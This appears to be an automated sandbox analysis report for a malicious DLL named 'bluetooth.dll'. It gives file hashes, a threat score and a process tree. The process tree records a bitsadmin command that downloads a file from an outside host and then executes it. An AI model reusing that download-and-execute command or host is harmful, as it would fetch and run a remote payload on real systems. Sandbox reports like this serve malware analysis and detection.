Analysis
- max time kernel
148s - max time network
135s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 18:24
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
bluetooth.dll
Resource
win10v2004-20260513-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
bluetooth.dll
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target bluetooth.dll
- Size 42KB
- Sample260910-w2bhbatglb
- SHA256 d0ee008d3c480d5f9f75332851ae94373158c13541f3c88be63465b975334e0a
- MD5 14b4e5a1385053ea0ad688f6d981844d
- SHA1 a52074000948336c280572bd4b392deaa1c572ab
- SHA512 d3769c6484ca1faec4834aca1d64a4d7f452e070db82e91515e70e00d33b917a7a623fdb96f4ac7ec2e51563f1310f7474b3c64d94c3a0d9ca108751472f3b1c
- SSDEEP 768:rOa/FfGkc/kPJ2Efvq/u0mQfotNsvr6L1MePrGrWj1K5yhUudcd:rOatfGkq4qVfysvrM1MCISs
- TLSH T1CB133B0BFAA354FCC1D7D578429B96B1F832FC140121AD6E0AE4EE326E55D4077AFA09
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 4876 bitsadmin.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2880 rundll32.exe 2880 rundll32.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2880 wrote to memory of 4876 2880 rundll32.exe 88 PID 2880 wrote to memory of 2356 2880 rundll32.exe 94
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\bluetooth.dll,#11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\system32\bitsadmin.exebitsadmin /transfer mydownloadjob /download /priority normal "http://ultraflavors.com/winocb.txt" "C:\ProgramData\winocb.txt"2⤵
- Download via BitsAdmin
PID:4876
-
-
C:\ProgramData\winocb.txtC:\ProgramData\winocb.txt 02⤵PID:2356
-